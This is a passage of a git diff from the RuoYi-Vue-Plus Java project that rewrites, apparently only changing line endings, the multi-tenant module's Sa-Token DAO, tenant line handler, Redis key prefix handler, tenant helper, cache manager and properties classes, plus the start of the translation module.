return; - } - RedisUtils.expire(GlobalConstants.GLOBAL_REDIS_KEY + key, Duration.ofSeconds(timeout)); - } - - - /** - * 搜索数据 - */ - @Override - public List searchData(String prefix, String keyword, int start, int size, boolean sortType) { - return super.searchData(GlobalConstants.GLOBAL_REDIS_KEY + prefix, keyword, start, size, sortType); - } -} +package org.dromara.common.tenant.core; + +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.core.dao.PlusSaTokenDao; + +import java.time.Duration; +import java.util.List; + +/** + * SaToken 认证数据持久层 适配多租户 + * + * @author Lion Li + */ +public class TenantSaTokenDao extends PlusSaTokenDao { + + @Override + public String get(String key) { + return super.get(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + @Override + public void set(String key, String value, long timeout) { + super.set(GlobalConstants.GLOBAL_REDIS_KEY + key, value, timeout); + } + + /** + * 修修改指定key-value键值对 (过期时间不变) + */ + @Override + public void update(String key, String value) { + long expire = getTimeout(key); + // -2 = 无此键 + if (expire == NOT_VALUE_EXPIRE) { + return; + } + this.set(key, value, expire); + } + + /** + * 删除Value + */ + @Override + public void delete(String key) { + super.delete(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * 获取Value的剩余存活时间 (单位: 秒) + */ + @Override + public long getTimeout(String key) { + return super.getTimeout(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * 修改Value的剩余存活时间 (单位: 秒) + */ + @Override + public void updateTimeout(String key, long timeout) { + // 判断是否想要设置为永久 + if (timeout == NEVER_EXPIRE) { + long expire = getTimeout(key); + if (expire == NEVER_EXPIRE) { + // 如果其已经被设置为永久,则不作任何处理 + } else { + // 如果尚未被设置为永久,那么再次set一次 + this.set(key, this.get(key), timeout); + } + return; + } + RedisUtils.expire(GlobalConstants.GLOBAL_REDIS_KEY + key, Duration.ofSeconds(timeout)); + } + + + /** + * 获取Object,如无返空 + */ + @Override + public Object getObject(String key) { + return super.getObject(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * 写入Object,并设定存活时间 (单位: 秒) + */ + @Override + public void setObject(String key, Object object, long timeout) { + super.setObject(GlobalConstants.GLOBAL_REDIS_KEY + key, object, timeout); + } + + /** + * 更新Object (过期时间不变) + */ + @Override + public void updateObject(String key, Object object) { + long expire = getObjectTimeout(key); + // -2 = 无此键 + if (expire == NOT_VALUE_EXPIRE) { + return; + } + this.setObject(key, object, expire); + } + + /** + * 删除Object + */ + @Override + public void deleteObject(String key) { + super.deleteObject(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * 获取Object的剩余存活时间 (单位: 秒) + */ + @Override + public long getObjectTimeout(String key) { + return super.getObjectTimeout(GlobalConstants.GLOBAL_REDIS_KEY + key); + } + + /** + * 修改Object的剩余存活时间 (单位: 秒) + */ + @Override + public void updateObjectTimeout(String key, long timeout) { + // 判断是否想要设置为永久 + if (timeout == NEVER_EXPIRE) { + long expire = getObjectTimeout(key); + if (expire == NEVER_EXPIRE) { + // 如果其已经被设置为永久,则不作任何处理 + } else { + // 如果尚未被设置为永久,那么再次set一次 + this.setObject(key, this.getObject(key), timeout); + } + return; + } + RedisUtils.expire(GlobalConstants.GLOBAL_REDIS_KEY + key, Duration.ofSeconds(timeout)); + } + + + /** + * 搜索数据 + */ + @Override + public List searchData(String prefix, String keyword, int start, int size, boolean sortType) { + return super.searchData(GlobalConstants.GLOBAL_REDIS_KEY + prefix, keyword, start, size, sortType); + } +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/exception/TenantException.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/exception/TenantException.java index ee2bc97..8fb179a 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/exception/TenantException.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/exception/TenantException.java @@ -1,20 +1,20 @@ -package org.dromara.common.tenant.exception; - -import org.dromara.common.core.exception.base.BaseException; - -import java.io.Serial; - -/** - * 租户异常类 - * - * @author Lion Li - */ -public class TenantException extends BaseException { - - @Serial - private static final long serialVersionUID = 1L; - - public TenantException(String code, Object... args) { - super("tenant", code, args, null); - } -} +package org.dromara.common.tenant.exception; + +import org.dromara.common.core.exception.base.BaseException; + +import java.io.Serial; + +/** + * 租户异常类 + * + * @author Lion Li + */ +public class TenantException extends BaseException { + + @Serial + private static final long serialVersionUID = 1L; + + public TenantException(String code, Object... args) { + super("tenant", code, args, null); + } +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java index 6c93ee5..f9ee5ca 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java @@ -1,56 +1,56 @@ -package org.dromara.common.tenant.handle; - -import cn.hutool.core.collection.ListUtil; -import com.baomidou.mybatisplus.extension.plugins.handler.TenantLineHandler; -import lombok.AllArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import net.sf.jsqlparser.expression.Expression; -import net.sf.jsqlparser.expression.NullValue; -import net.sf.jsqlparser.expression.StringValue; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.common.tenant.properties.TenantProperties; - -import java.util.List; - -/** - * 自定义租户处理器 - * - * @author Lion Li - */ -@Slf4j -@AllArgsConstructor -public class PlusTenantLineHandler implements TenantLineHandler { - - private final TenantProperties tenantProperties; - - @Override - public Expression getTenantId() { - String tenantId = TenantHelper.getTenantId(); - if (StringUtils.isBlank(tenantId)) { - log.error("无法获取有效的租户id -> Null"); - return new NullValue(); - } - // 返回固定租户 - return new StringValue(tenantId); - } - - @Override - public boolean ignoreTable(String tableName) { - String tenantId = TenantHelper.getTenantId(); - // 判断是否有租户 - if (StringUtils.isNotBlank(tenantId)) { - // 不需要过滤租户的表 - List excludes = tenantProperties.getExcludes(); - // 非业务表 - List tables = ListUtil.toList( - "gen_table", - "gen_table_column" - ); - tables.addAll(excludes); - return tables.contains(tableName); - } - return true; - } - -} +package org.dromara.common.tenant.handle; + +import cn.hutool.core.collection.ListUtil; +import com.baomidou.mybatisplus.extension.plugins.handler.TenantLineHandler; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import net.sf.jsqlparser.expression.Expression; +import net.sf.jsqlparser.expression.NullValue; +import net.sf.jsqlparser.expression.StringValue; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.common.tenant.properties.TenantProperties; + +import java.util.List; + +/** + * 自定义租户处理器 + * + * @author Lion Li + */ +@Slf4j +@AllArgsConstructor +public class PlusTenantLineHandler implements TenantLineHandler { + + private final TenantProperties tenantProperties; + + @Override + public Expression getTenantId() { + String tenantId = TenantHelper.getTenantId(); + if (StringUtils.isBlank(tenantId)) { + log.error("无法获取有效的租户id -> Null"); + return new NullValue(); + } + // 返回固定租户 + return new StringValue(tenantId); + } + + @Override + public boolean ignoreTable(String tableName) { + String tenantId = TenantHelper.getTenantId(); + // 判断是否有租户 + if (StringUtils.isNotBlank(tenantId)) { + // 不需要过滤租户的表 + List excludes = tenantProperties.getExcludes(); + // 非业务表 + List tables = ListUtil.toList( + "gen_table", + "gen_table_column" + ); + tables.addAll(excludes); + return tables.contains(tableName); + } + return true; + } + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/TenantKeyPrefixHandler.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/TenantKeyPrefixHandler.java index fbf210d..ca16d09 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/TenantKeyPrefixHandler.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/TenantKeyPrefixHandler.java @@ -1,83 +1,83 @@ -package org.dromara.common.tenant.handle; - -import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.redis.handler.KeyPrefixHandler; -import org.dromara.common.tenant.helper.TenantHelper; - -/** - * 多租户redis缓存key前缀处理 - * - * @author Lion Li - */ -@Slf4j -public class TenantKeyPrefixHandler extends KeyPrefixHandler { - - public TenantKeyPrefixHandler(String keyPrefix) { - super(keyPrefix); - } - - /** - * 增加前缀 - */ - @Override - public String map(String name) { - if (StringUtils.isBlank(name)) { - return null; - } - try { - if (InterceptorIgnoreHelper.willIgnoreTenantLine("")) { - return super.map(name); - } - } catch (NoClassDefFoundError ignore) { - // 有些服务不需要mp导致类不存在 忽略即可 - } - if (StringUtils.contains(name, GlobalConstants.GLOBAL_REDIS_KEY)) { - return super.map(name); - } - String tenantId = TenantHelper.getTenantId(); - if (StringUtils.isBlank(tenantId)) { - log.debug("无法获取有效的租户id -> Null"); - return super.map(name); - } - if (StringUtils.startsWith(name, tenantId + "")) { - // 如果存在则直接返回 - return super.map(name); - } - return super.map(tenantId + ":" + name); - } - - /** - * 去除前缀 - */ - @Override - public String unmap(String name) { - String unmap = super.unmap(name); - if (StringUtils.isBlank(unmap)) { - return null; - } - try { - if (InterceptorIgnoreHelper.willIgnoreTenantLine("")) { - return super.unmap(name); - } - } catch (NoClassDefFoundError ignore) { - // 有些服务不需要mp导致类不存在 忽略即可 - } - if (StringUtils.contains(name, GlobalConstants.GLOBAL_REDIS_KEY)) { - return super.unmap(name); - } - String tenantId = TenantHelper.getTenantId(); - if (StringUtils.isBlank(tenantId)) { - log.debug("无法获取有效的租户id -> Null"); - return super.unmap(name); - } - if (StringUtils.startsWith(unmap, tenantId + "")) { - // 如果存在则删除 - return unmap.substring((tenantId + ":").length()); - } - return unmap; - } - -} +package org.dromara.common.tenant.handle; + +import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.redis.handler.KeyPrefixHandler; +import org.dromara.common.tenant.helper.TenantHelper; + +/** + * 多租户redis缓存key前缀处理 + * + * @author Lion Li + */ +@Slf4j +public class TenantKeyPrefixHandler extends KeyPrefixHandler { + + public TenantKeyPrefixHandler(String keyPrefix) { + super(keyPrefix); + } + + /** + * 增加前缀 + */ + @Override + public String map(String name) { + if (StringUtils.isBlank(name)) { + return null; + } + try { + if (InterceptorIgnoreHelper.willIgnoreTenantLine("")) { + return super.map(name); + } + } catch (NoClassDefFoundError ignore) { + // 有些服务不需要mp导致类不存在 忽略即可 + } + if (StringUtils.contains(name, GlobalConstants.GLOBAL_REDIS_KEY)) { + return super.map(name); + } + String tenantId = TenantHelper.getTenantId(); + if (StringUtils.isBlank(tenantId)) { + log.debug("无法获取有效的租户id -> Null"); + return super.map(name); + } + if (StringUtils.startsWith(name, tenantId + "")) { + // 如果存在则直接返回 + return super.map(name); + } + return super.map(tenantId + ":" + name); + } + + /** + * 去除前缀 + */ + @Override + public String unmap(String name) { + String unmap = super.unmap(name); + if (StringUtils.isBlank(unmap)) { + return null; + } + try { + if (InterceptorIgnoreHelper.willIgnoreTenantLine("")) { + return super.unmap(name); + } + } catch (NoClassDefFoundError ignore) { + // 有些服务不需要mp导致类不存在 忽略即可 + } + if (StringUtils.contains(name, GlobalConstants.GLOBAL_REDIS_KEY)) { + return super.unmap(name); + } + String tenantId = TenantHelper.getTenantId(); + if (StringUtils.isBlank(tenantId)) { + log.debug("无法获取有效的租户id -> Null"); + return super.unmap(name); + } + if (StringUtils.startsWith(unmap, tenantId + "")) { + // 如果存在则删除 + return unmap.substring((tenantId + ":").length()); + } + return unmap; + } + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java index 1a5ea1a..ddc8fc5 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java @@ -1,220 +1,220 @@ -package org.dromara.common.tenant.helper; - -import cn.hutool.core.collection.CollectionUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.plugins.IgnoreStrategy; -import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.utils.LoginHelper; - -import java.util.Stack; -import java.util.function.Supplier; - -/** - * 租户助手 - * - * @author Lion Li - */ -@Slf4j -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class TenantHelper { - - private static final String DYNAMIC_TENANT_KEY = GlobalConstants.GLOBAL_REDIS_KEY + "dynamicTenant"; - - private static final ThreadLocal TEMP_DYNAMIC_TENANT = new ThreadLocal<>(); - - private static final ThreadLocal> REENTRANT_IGNORE = ThreadLocal.withInitial(Stack::new); - - /** - * 租户功能是否启用 - */ - public static boolean isEnable() { - return Convert.toBool(SpringUtils.getProperty("tenant.enable"), false); - } - - private static IgnoreStrategy getIgnoreStrategy() { - Object ignoreStrategyLocal = ReflectUtils.getStaticFieldValue(ReflectUtils.getField(InterceptorIgnoreHelper.class, "IGNORE_STRATEGY_LOCAL")); - if (ignoreStrategyLocal instanceof ThreadLocal IGNORE_STRATEGY_LOCAL) { - if (IGNORE_STRATEGY_LOCAL.get() instanceof IgnoreStrategy ignoreStrategy) { - return ignoreStrategy; - } - } - return null; - } - - /** - * 开启忽略租户(开启后需手动调用 {@link #disableIgnore()} 关闭) - */ - public static void enableIgnore() { - IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); - if (ObjectUtil.isNull(ignoreStrategy)) { - InterceptorIgnoreHelper.handle(IgnoreStrategy.builder().tenantLine(true).build()); - } else { - ignoreStrategy.setTenantLine(true); - } - Stack reentrantStack = REENTRANT_IGNORE.get(); - reentrantStack.push(reentrantStack.size() + 1); - } - - /** - * 关闭忽略租户 - */ - public static void disableIgnore() { - IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); - if (ObjectUtil.isNotNull(ignoreStrategy)) { - boolean noOtherIgnoreStrategy = !Boolean.TRUE.equals(ignoreStrategy.getDynamicTableName()) - && !Boolean.TRUE.equals(ignoreStrategy.getBlockAttack()) - && !Boolean.TRUE.equals(ignoreStrategy.getIllegalSql()) - && !Boolean.TRUE.equals(ignoreStrategy.getDataPermission()) - && CollectionUtil.isEmpty(ignoreStrategy.getOthers()); - Stack reentrantStack = REENTRANT_IGNORE.get(); - boolean empty = reentrantStack.isEmpty() || reentrantStack.pop() == 1; - if (noOtherIgnoreStrategy && empty) { - InterceptorIgnoreHelper.clearIgnoreStrategy(); - } else if (empty) { - ignoreStrategy.setTenantLine(false); - } - } - } - - /** - * 在忽略租户中执行 - * - * @param handle 处理执行方法 - */ - public static void ignore(Runnable handle) { - enableIgnore(); - try { - handle.run(); - } finally { - disableIgnore(); - } - } - - /** - * 在忽略租户中执行 - * - * @param handle 处理执行方法 - */ - public static T ignore(Supplier handle) { - enableIgnore(); - try { - return handle.get(); - } finally { - disableIgnore(); - } - } - - public static void setDynamic(String tenantId) { - setDynamic(tenantId, false); - } - - /** - * 设置动态租户(一直有效 需要手动清理) - *

- * 如果为未登录状态下 那么只在当前线程内生效 - * - * @param tenantId 租户id - * @param global 是否全局生效 - */ - public static void setDynamic(String tenantId, boolean global) { - if (!isEnable()) { - return; - } - if (!LoginHelper.isLogin() || !global) { - TEMP_DYNAMIC_TENANT.set(tenantId); - return; - } - String cacheKey = DYNAMIC_TENANT_KEY + ":" + LoginHelper.getUserId(); - RedisUtils.setCacheObject(cacheKey, tenantId); - } - - /** - * 获取动态租户(一直有效 需要手动清理) - *

- * 如果为未登录状态下 那么只在当前线程内生效 - */ - public static String getDynamic() { - if (!isEnable()) { - return null; - } - if (!LoginHelper.isLogin()) { - return TEMP_DYNAMIC_TENANT.get(); - } - // 如果线程内有值 优先返回 - String tenantId = TEMP_DYNAMIC_TENANT.get(); - if (StringUtils.isNotBlank(tenantId)) { - return tenantId; - } - String cacheKey = DYNAMIC_TENANT_KEY + ":" + LoginHelper.getUserId(); - tenantId = RedisUtils.getCacheObject(cacheKey); - return tenantId; - } - - /** - * 清除动态租户 - */ - public static void clearDynamic() { - if (!isEnable()) { - return; - } - if (!LoginHelper.isLogin()) { - TEMP_DYNAMIC_TENANT.remove(); - return; - } - TEMP_DYNAMIC_TENANT.remove(); - String cacheKey = DYNAMIC_TENANT_KEY + ":" + LoginHelper.getUserId(); - RedisUtils.deleteObject(cacheKey); - } - - /** - * 在动态租户中执行 - * - * @param handle 处理执行方法 - */ - public static void dynamic(String tenantId, Runnable handle) { - setDynamic(tenantId); - try { - handle.run(); - } finally { - clearDynamic(); - } - } - - /** - * 在动态租户中执行 - * - * @param handle 处理执行方法 - */ - public static T dynamic(String tenantId, Supplier handle) { - setDynamic(tenantId); - try { - return handle.get(); - } finally { - clearDynamic(); - } - } - - /** - * 获取当前租户id(动态租户优先) - */ - public static String getTenantId() { - if (!isEnable()) { - return null; - } - String tenantId = TenantHelper.getDynamic(); - if (StringUtils.isBlank(tenantId)) { - tenantId = LoginHelper.getTenantId(); - } - return tenantId; - } - -} +package org.dromara.common.tenant.helper; + +import cn.hutool.core.collection.CollectionUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.plugins.IgnoreStrategy; +import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.utils.LoginHelper; + +import java.util.Stack; +import java.util.function.Supplier; + +/** + * 租户助手 + * + * @author Lion Li + */ +@Slf4j +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class TenantHelper { + + private static final String DYNAMIC_TENANT_KEY = GlobalConstants.GLOBAL_REDIS_KEY + "dynamicTenant"; + + private static final ThreadLocal TEMP_DYNAMIC_TENANT = new ThreadLocal<>(); + + private static final ThreadLocal> REENTRANT_IGNORE = ThreadLocal.withInitial(Stack::new); + + /** + * 租户功能是否启用 + */ + public static boolean isEnable() { + return Convert.toBool(SpringUtils.getProperty("tenant.enable"), false); + } + + private static IgnoreStrategy getIgnoreStrategy() { + Object ignoreStrategyLocal = ReflectUtils.getStaticFieldValue(ReflectUtils.getField(InterceptorIgnoreHelper.class, "IGNORE_STRATEGY_LOCAL")); + if (ignoreStrategyLocal instanceof ThreadLocal IGNORE_STRATEGY_LOCAL) { + if (IGNORE_STRATEGY_LOCAL.get() instanceof IgnoreStrategy ignoreStrategy) { + return ignoreStrategy; + } + } + return null; + } + + /** + * 开启忽略租户(开启后需手动调用 {@link #disableIgnore()} 关闭) + */ + public static void enableIgnore() { + IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); + if (ObjectUtil.isNull(ignoreStrategy)) { + InterceptorIgnoreHelper.handle(IgnoreStrategy.builder().tenantLine(true).build()); + } else { + ignoreStrategy.setTenantLine(true); + } + Stack reentrantStack = REENTRANT_IGNORE.get(); + reentrantStack.push(reentrantStack.size() + 1); + } + + /** + * 关闭忽略租户 + */ + public static void disableIgnore() { + IgnoreStrategy ignoreStrategy = getIgnoreStrategy(); + if (ObjectUtil.isNotNull(ignoreStrategy)) { + boolean noOtherIgnoreStrategy = !Boolean.TRUE.equals(ignoreStrategy.getDynamicTableName()) + && !Boolean.TRUE.equals(ignoreStrategy.getBlockAttack()) + && !Boolean.TRUE.equals(ignoreStrategy.getIllegalSql()) + && !Boolean.TRUE.equals(ignoreStrategy.getDataPermission()) + && CollectionUtil.isEmpty(ignoreStrategy.getOthers()); + Stack reentrantStack = REENTRANT_IGNORE.get(); + boolean empty = reentrantStack.isEmpty() || reentrantStack.pop() == 1; + if (noOtherIgnoreStrategy && empty) { + InterceptorIgnoreHelper.clearIgnoreStrategy(); + } else if (empty) { + ignoreStrategy.setTenantLine(false); + } + } + } + + /** + * 在忽略租户中执行 + * + * @param handle 处理执行方法 + */ + public static void ignore(Runnable handle) { + enableIgnore(); + try { + handle.run(); + } finally { + disableIgnore(); + } + } + + /** + * 在忽略租户中执行 + * + * @param handle 处理执行方法 + */ + public static T ignore(Supplier handle) { + enableIgnore(); + try { + return handle.get(); + } finally { + disableIgnore(); + } + } + + public static void setDynamic(String tenantId) { + setDynamic(tenantId, false); + } + + /** + * 设置动态租户(一直有效 需要手动清理) + *

+ * 如果为未登录状态下 那么只在当前线程内生效 + * + * @param tenantId 租户id + * @param global 是否全局生效 + */ + public static void setDynamic(String tenantId, boolean global) { + if (!isEnable()) { + return; + } + if (!LoginHelper.isLogin() || !global) { + TEMP_DYNAMIC_TENANT.set(tenantId); + return; + } + String cacheKey = DYNAMIC_TENANT_KEY + ":" + LoginHelper.getUserId(); + RedisUtils.setCacheObject(cacheKey, tenantId); + } + + /** + * 获取动态租户(一直有效 需要手动清理) + *

+ * 如果为未登录状态下 那么只在当前线程内生效 + */ + public static String getDynamic() { + if (!isEnable()) { + return null; + } + if (!LoginHelper.isLogin()) { + return TEMP_DYNAMIC_TENANT.get(); + } + // 如果线程内有值 优先返回 + String tenantId = TEMP_DYNAMIC_TENANT.get(); + if (StringUtils.isNotBlank(tenantId)) { + return tenantId; + } + String cacheKey = DYNAMIC_TENANT_KEY + ":" + LoginHelper.getUserId(); + tenantId = RedisUtils.getCacheObject(cacheKey); + return tenantId; + } + + /** + * 清除动态租户 + */ + public static void clearDynamic() { + if (!isEnable()) { + return; + } + if (!LoginHelper.isLogin()) { + TEMP_DYNAMIC_TENANT.remove(); + return; + } + TEMP_DYNAMIC_TENANT.remove(); + String cacheKey = DYNAMIC_TENANT_KEY + ":" + LoginHelper.getUserId(); + RedisUtils.deleteObject(cacheKey); + } + + /** + * 在动态租户中执行 + * + * @param handle 处理执行方法 + */ + public static void dynamic(String tenantId, Runnable handle) { + setDynamic(tenantId); + try { + handle.run(); + } finally { + clearDynamic(); + } + } + + /** + * 在动态租户中执行 + * + * @param handle 处理执行方法 + */ + public static T dynamic(String tenantId, Supplier handle) { + setDynamic(tenantId); + try { + return handle.get(); + } finally { + clearDynamic(); + } + } + + /** + * 获取当前租户id(动态租户优先) + */ + public static String getTenantId() { + if (!isEnable()) { + return null; + } + String tenantId = TenantHelper.getDynamic(); + if (StringUtils.isBlank(tenantId)) { + tenantId = LoginHelper.getTenantId(); + } + return tenantId; + } + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/manager/TenantSpringCacheManager.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/manager/TenantSpringCacheManager.java index 346e36f..efe12a8 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/manager/TenantSpringCacheManager.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/manager/TenantSpringCacheManager.java @@ -1,41 +1,41 @@ -package org.dromara.common.tenant.manager; - -import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.redis.manager.PlusSpringCacheManager; -import org.dromara.common.tenant.helper.TenantHelper; -import org.springframework.cache.Cache; - -/** - * 重写 cacheName 处理方法 支持多租户 - * - * @author Lion Li - */ -@Slf4j -public class TenantSpringCacheManager extends PlusSpringCacheManager { - - public TenantSpringCacheManager() { - } - - @Override - public Cache getCache(String name) { - if (InterceptorIgnoreHelper.willIgnoreTenantLine("")) { - return super.getCache(name); - } - if (StringUtils.contains(name, GlobalConstants.GLOBAL_REDIS_KEY)) { - return super.getCache(name); - } - String tenantId = TenantHelper.getTenantId(); - if (StringUtils.isBlank(tenantId)) { - log.error("无法获取有效的租户id -> Null"); - } - if (StringUtils.startsWith(name, tenantId)) { - // 如果存在则直接返回 - return super.getCache(name); - } - return super.getCache(tenantId + ":" + name); - } - -} +package org.dromara.common.tenant.manager; + +import com.baomidou.mybatisplus.core.plugins.InterceptorIgnoreHelper; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.GlobalConstants; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.redis.manager.PlusSpringCacheManager; +import org.dromara.common.tenant.helper.TenantHelper; +import org.springframework.cache.Cache; + +/** + * 重写 cacheName 处理方法 支持多租户 + * + * @author Lion Li + */ +@Slf4j +public class TenantSpringCacheManager extends PlusSpringCacheManager { + + public TenantSpringCacheManager() { + } + + @Override + public Cache getCache(String name) { + if (InterceptorIgnoreHelper.willIgnoreTenantLine("")) { + return super.getCache(name); + } + if (StringUtils.contains(name, GlobalConstants.GLOBAL_REDIS_KEY)) { + return super.getCache(name); + } + String tenantId = TenantHelper.getTenantId(); + if (StringUtils.isBlank(tenantId)) { + log.error("无法获取有效的租户id -> Null"); + } + if (StringUtils.startsWith(name, tenantId)) { + // 如果存在则直接返回 + return super.getCache(name); + } + return super.getCache(tenantId + ":" + name); + } + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/properties/TenantProperties.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/properties/TenantProperties.java index 1675ccf..b4bd48a 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/properties/TenantProperties.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/properties/TenantProperties.java @@ -1,27 +1,27 @@ -package org.dromara.common.tenant.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -import java.util.List; - -/** - * 租户 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "tenant") -public class TenantProperties { - - /** - * 是否启用 - */ - private Boolean enable; - - /** - * 排除表 - */ - private List excludes; - -} +package org.dromara.common.tenant.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +import java.util.List; + +/** + * 租户 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "tenant") +public class TenantProperties { + + /** + * 是否启用 + */ + private Boolean enable; + + /** + * 排除表 + */ + private List excludes; + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-tenant/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index f837191..3fc736b 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-tenant/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.tenant.config.TenantConfig +org.dromara.common.tenant.config.TenantConfig diff --git a/ruoyi-common/ruoyi-common-translation/pom.xml b/ruoyi-common/ruoyi-common-translation/pom.xml index e77b868..a6e94ce 100644 --- a/ruoyi-common/ruoyi-common-translation/pom.xml +++ b/ruoyi-common/ruoyi-common-translation/pom.xml @@ -1,27 +1,27 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-translation - - - ruoyi-common-translation 通用翻译功能 - - - - - - org.dromara - ruoyi-common-json - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-translation + + + ruoyi-common-translation 通用翻译功能 + + + + + + org.dromara + ruoyi-common-json + + + + + diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/Translation.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/Translation.java index c24aa6f..8ea98c0 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/Translation.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/Translation.java @@ -1,39 +1,39 @@ -package org.dromara.common.translation.annotation; - -import com.fasterxml.jackson.annotation.JacksonAnnotationsInside; -import com.fasterxml.jackson.databind.annotation.JsonSerialize; -import org.dromara.common.translation.core.handler.TranslationHandler; - -import java.lang.annotation.*; - -/** - * 通用翻译注解 - * - * @author Lion Li - */ -@Inherited -@Retention(RetentionPolicy.RUNTIME) -@Target({ElementType.FIELD, ElementType.METHOD}) -@Documented -@JacksonAnnotationsInside -@JsonSerialize(using = TranslationHandler.class) -public @interface Translation { - - /** - * 类型 (需与实现类上的 {@link TranslationType} 注解type对应) - *

